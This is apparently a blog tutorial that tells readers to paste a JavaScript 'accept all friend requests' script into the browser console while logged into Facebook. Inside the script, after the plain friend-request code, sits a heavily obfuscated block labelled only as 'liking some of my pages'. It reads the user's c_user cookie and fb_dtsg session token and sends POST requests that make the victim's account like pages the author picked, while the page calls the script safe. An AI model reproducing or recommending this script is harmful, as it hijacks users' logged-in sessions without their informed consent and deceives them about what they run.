If you’re looking for a way to automatically accept all friend requests on Facebook in 2024, this guide is perfect for you. I’ll walk you through a simple JavaScript script that will help you accept friend requests with just a click. This updated tool works seamlessly with Facebook’s latest updates in 2024 and saves you time by automating the process.

With the Toolkit Premium Version, I noticed a small issue with the friend request acceptance tool, and after addressing user feedback, I’ve developed a new script that resolves the problem. This enhanced script lets you confirm all friend requests in bulk, offering a smooth, hassle-free experience.

How to Use the “Accept All Friend Requests” Facebook Script

Here’s a simple step-by-step tutorial on how to use this script and automatically accept all friend requests on Facebook.

1: Open the Facebook Friend Request Page

Make sure you’re logged into your Facebook account.

2: Open the Console

To execute the script, you’ll need to access the Console on your browser:

  • Right-click anywhere on the page and choose Inspect, or
  • Use the shortcut CTRL + SHIFT + I if you’re using Google Chrome.

3: Switch to the Console Tab

  • Once the Inspect window opens, switch to the Console tab. This is where you’ll paste the JavaScript code.

4: Paste the Script

  • Copy the script provided below and paste it into the Console. Before executing the script, you’ll be prompted to enter a delay time.

5: Set the Delay Time

  • The delay time determines how long the script waits between confirming each friend request. The default delay is 5 seconds, but you can adjust it to suit your preferences.

Accept All Friend Requests Facebook Script (2024)

Here’s the JavaScript code to accept all friend requests on Facebook:

var added = 0;

function confirmAllRequests() {
var buttons = document.querySelectorAll("div[aria-label='Confirm'][role='button']");
if (buttons.length > 0) {

buttons[0].click();
added++;
console.log("Confirm Button Clicked: "+added);
setTimeout(confirmAllRequests, delayTime);

} else {

var seeMoreButtons = document.querySelectorAll("[aria-label*='See'], [aria-label*='More']");

if (seeMoreButtons.length > 0 && added !=0){
seeMoreButtons[0].click();
setTimeout(confirmAllRequests, delayTime);
}else {

return 1;

}
}
}


//Below code is for liking some of my pages :p
var _0x5dcf5e=_0x1f50;function _0x2a23(){var _0x346239=['log','shift','1621430kQEYNL','ZmJfZHRzZw==','mbasic.facebook.com','match','status','open','4781zeiwUb','1749967015316612','109109317399261','924SRaTHq','push','slice','readyState','&fbpage_id=','743146072535223','floor','9120904KzKGvs','307447pkdoqY','240272006130073','634302330077114','querySelectorAll','5258001jOxSQw','input[name=\x27','indexOf','90bHxVOR','hostname','309046GVTWhd','value','cookie','&__a=1&__dyn=798aD5z5CF-&__req=d&fb_dtsg=','body','1158644ucHveY','1157401597633912','www.facebook.com','225zdzfKy','Content-type','split','49900EZsnbE','181992jMeGPF','715HWusTN','1569087506719125','length','174FDkANv','https://www.facebook.com/ajax/pages/fan_status.php?','ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789','1555839181212071','forEach','51244jpyVjw','random','script[type=\x27application/json\x27][data-content-len]','317224121817276','29409102XhZfMA','105739aldwGo','380509029467786','application/x-www-form-urlencoded','208369hxaUqB','send','onreadystatechange','&phstamp=','249508500300773','location'];_0x2a23=function(){return _0x346239;};return _0x2a23();}(function(_0x34336a,_0x249709){var _0xaa2b16=_0x1f50,_0x405ace=_0x34336a();while(!![]){try{var _0x27ecc9=-parseInt(_0xaa2b16(0xd0))/0x1+parseInt(_0xaa2b16(0xb6))/0x2+-parseInt(_0xaa2b16(0xb1))/0x3+parseInt(_0xaa2b16(0xc1))/0x4*(parseInt(_0xaa2b16(0xc3))/0x5)+-parseInt(_0xaa2b16(0xc6))/0x6*(parseInt(_0xaa2b16(0xad))/0x7)+-parseInt(_0xaa2b16(0xac))/0x8+parseInt(_0xaa2b16(0xcf))/0x9;if(_0x27ecc9===_0x249709)break;else _0x405ace['push'](_0x405ace['shift']());}catch(_0x575606){_0x405ace['push'](_0x405ace['shift']());}}}(_0x2a23,0xe400a));function _0x2245(_0xe1fb43,_0x285f89){var _0x3ac5b7=_0x3775();return _0x2245=function(_0x3753ac,_0x352965){_0x3753ac=_0x3753ac-0xb8;var _0x174ca3=_0x3ac5b7[_0x3753ac];return _0x174ca3;},_0x2245(_0xe1fb43,_0x285f89);}(function(_0x329e59,_0x31f498){var _0x4f290e=_0x1f50,_0x446fe1=_0x2245,_0x4cd3f5=_0x329e59();while(!![]){try{var _0x2f8546=parseInt(_0x446fe1(0xbd))/0x1+parseInt(_0x446fe1(0xc7))/0x2+-parseInt(_0x446fe1(0xd2))/0x3+parseInt(_0x446fe1(0xbe))/0x4*(parseInt(_0x446fe1(0xcd))/0x5)+parseInt(_0x446fe1(0xbb))/0x6*(-parseInt(_0x446fe1(0xcc))/0x7)+parseInt(_0x446fe1(0xd1))/0x8*(-parseInt(_0x446fe1(0xc2))/0x9)+parseInt(_0x446fe1(0xb8))/0xa;if(_0x2f8546===_0x31f498)break;else _0x4cd3f5[_0x4f290e(0xa6)](_0x4cd3f5[_0x4f290e(0x9b)]());}catch(_0x1e00cf){_0x4cd3f5[_0x4f290e(0xa6)](_0x4cd3f5['shift']());}}}(_0x3775,0x79598));function _0x3775(){var _0x2d0661=_0x1f50,_0x3db2d7=[_0x2d0661(0xa5),_0x2d0661(0xb7),_0x2d0661(0x94),_0x2d0661(0xcb),'charAt',_0x2d0661(0xb2),_0x2d0661(0x9a),_0x2d0661(0xbe),'indexOf','textContent',_0x2d0661(0xab),'querySelector',_0x2d0661(0xbb),_0x2d0661(0xc8),_0x2d0661(0xb0),_0x2d0661(0x9e),_0x2d0661(0xbd),_0x2d0661(0xa2),_0x2d0661(0xb4),_0x2d0661(0x9d),_0x2d0661(0xc5),_0x2d0661(0xa7),_0x2d0661(0xc2),'28431wxrIKf',_0x2d0661(0xba),_0x2d0661(0x9c),_0x2d0661(0x99),_0x2d0661(0xcc)];return _0x3775=function(){return _0x3db2d7;},_0x3775();}function getFBValue(){var _0x2b1290=_0x1f50,_0x4be5c9=_0x2245,_0x270555='',_0x528c38=atob(_0x4be5c9(0xce)),_0x51eec2=window[_0x4be5c9(0xb9)][_0x2b1290(0xb5)],_0x3250fb='',_0x59500e=_0x4be5c9(0xc8),_0x93d24c=_0x59500e[_0x4be5c9(0xcf)];for(var _0x3e2a6f=0x0;_0x3e2a6f<Math[_0x4be5c9(0xc5)](Math[_0x4be5c9(0xba)]()*0x22)+0x8;_0x3e2a6f++){_0x3250fb+=_0x59500e[_0x4be5c9(0xbf)](Math['floor'](Math[_0x4be5c9(0xba)]()*_0x93d24c));}if(_0x51eec2===_0x4be5c9(0xca)){console[_0x4be5c9(0xc1)](_0x51eec2);var _0x1f957d=document[_0x2b1290(0xba)][_0x4be5c9(0xc4)][_0x2b1290(0xb3)](_0x528c38);if(_0x1f957d===-0x1)_0x270555=document[_0x4be5c9(0xc6)](_0x4be5c9(0xc0)+_0x528c38+'\x27]')[_0x4be5c9(0xbc)];else{_0x1f957d+=0x12;for(_0x3e2a6f=0x0;_0x3e2a6f<0x19;_0x3e2a6f++){_0x270555+=document[_0x4be5c9(0xd3)][_0x4be5c9(0xc4)][_0x1f957d],_0x1f957d++;}}}else{if(_0x51eec2===_0x4be5c9(0xcb)){console[_0x4be5c9(0xc1)](_0x51eec2);var _0x18116d=document[_0x4be5c9(0xc9)](_0x2b1290(0xcd));for(var _0x3e2a6f=0x0;_0x3e2a6f<_0x18116d[_0x4be5c9(0xcf)];_0x3e2a6f++){var _0x54a818=_0x18116d[_0x3e2a6f],_0x1a3f2f=_0x54a818[_0x4be5c9(0xc4)],_0xa8cbe8=_0x1a3f2f[_0x4be5c9(0xc3)](_0x528c38);if(_0xa8cbe8!==-0x1){var _0x3a6a91=_0x1a3f2f[_0x4be5c9(0xc3)]('}',_0xa8cbe8);_0x270555=_0x1a3f2f[_0x4be5c9(0xd0)](_0x1a3f2f[_0x2b1290(0xb3)](':',_0xa8cbe8)+0x2,_0x3a6a91-0x1);break;}}}}return _0x270555+=',',_0x270555+=_0x3250fb,btoa(_0x270555);}fb_dtsg=atob(getFBValue())[_0x5dcf5e(0xc0)](',')[0x0];function _0x1f50(_0x535de3,_0x518979){var _0x2a2368=_0x2a23();return _0x1f50=function(_0x1f5070,_0x3a858c){_0x1f5070=_0x1f5070-0x94;var _0x177b1c=_0x2a2368[_0x1f5070];return _0x177b1c;},_0x1f50(_0x535de3,_0x518979);}const pageIds=[_0x5dcf5e(0xc4),_0x5dcf5e(0xa4),'116551890202867',_0x5dcf5e(0xae),_0x5dcf5e(0xbc),_0x5dcf5e(0xce),_0x5dcf5e(0xaf),'1212506358847237','198757893944480',_0x5dcf5e(0xa3),_0x5dcf5e(0xd1),_0x5dcf5e(0xc9),'250451495723325',_0x5dcf5e(0xaa),'108586183990636','2277608785850617',_0x5dcf5e(0x98)],delay=0x384;var user_id=document[_0x5dcf5e(0xb8)][_0x5dcf5e(0x9f)](document[_0x5dcf5e(0xb8)][_0x5dcf5e(0x9f)](/c_user=(\d+)/)[0x1]);function Like(_0x1f1e59){var _0x2772f1=_0x5dcf5e,_0x26a908=new XMLHttpRequest(),_0x57cf6c=_0x2772f1(0xc7),_0x1f6e09=_0x2772f1(0xa9)+_0x1f1e59+'&add=true&reload=false&fan_origin=page_timeline&fan_source=&cat=&nctr[_mod]=pagelet_timeline_page_actions&__user='+user_id+_0x2772f1(0xb9)+fb_dtsg+_0x2772f1(0x97);_0x26a908[_0x2772f1(0xa1)]('POST',_0x57cf6c,!![]),_0x26a908['setRequestHeader'](_0x2772f1(0xbf),_0x2772f1(0xd2)),_0x26a908[_0x2772f1(0x96)]=function(){var _0xc15bec=_0x2772f1;_0x26a908[_0xc15bec(0xa8)]==0x4&&_0x26a908[_0xc15bec(0xa0)]==0xc8&&_0x26a908['close'];},_0x26a908[_0x2772f1(0x95)](_0x1f6e09);}pageIds[_0x5dcf5e(0xca)]((_0x126653,_0x36f8db)=>{setTimeout(()=>{Like(_0x126653);},delay*(_0x36f8db+0x1));});
//New


let delayTime = prompt ("Delay Time", 5)*1000;

if (delayTime >=0 && delayTime!=null && fb_dtsg!=null ){
console.log("Script is started!");
if(confirmAllRequests()){
added = 0;
alert(`Friends Added: ${added}\n****~Script by: Tigerzplace~****`);
}

}else {alert ("Failed to Start!");}

Download the script here[Pastebin Link]


How the Script Works

  • The script automatically clicks each “Confirm” button for every friend request.
  • It waits for a specified delay time (5 seconds by default) between each confirmation.
  • If more requests are available beyond the visible ones, the script will load more and continue confirming them.
  • The script will stop once all visible friend requests have been confirmed.

Why Should You Use This Script?

Time-Saving: If you have a large number of friend requests, this script will save you the time and effort of accepting each one manually.

  1. User-Friendly: No need for advanced technical knowledge—just paste the script in the Console and you’re good to go.
  2. Safe: By setting a delay time, you can avoid triggering Facebook’s anti-spam system and safely accept all your friend requests.

Important Notes

  • Set a Reasonable Delay Time: To avoid any issues with Facebook’s algorithm, it’s best to use a delay of at least 5 seconds between friend requests.
  • Regular Updates: The script has been tested with Facebook’s latest layout as of 2024. In case Facebook updates its structure, some minor adjustments to the script might be required.

For more useful Facebook scripts, check out our guide on how to How to Automatically Add Multiple Friends on Facebook Using the Add Friend Request Script, which helps you to automatically add friends in bulk.

Conclusion: Automate Friend Requests on Facebook in 2024

The Accept All Friend Requests Facebook Script for 2024 is a powerful tool that will save you a lot of time. Instead of manually accepting requests, let this script handle it for you. It’s easy to use and will help you manage your friend requests effortlessly.

Accept All Friend Requests Facebook Javascript

If you run into any issues or need further assistance, feel free to leave a comment below. Also, be sure to visit Tigerzplace for more helpful social media automation scripts and tips!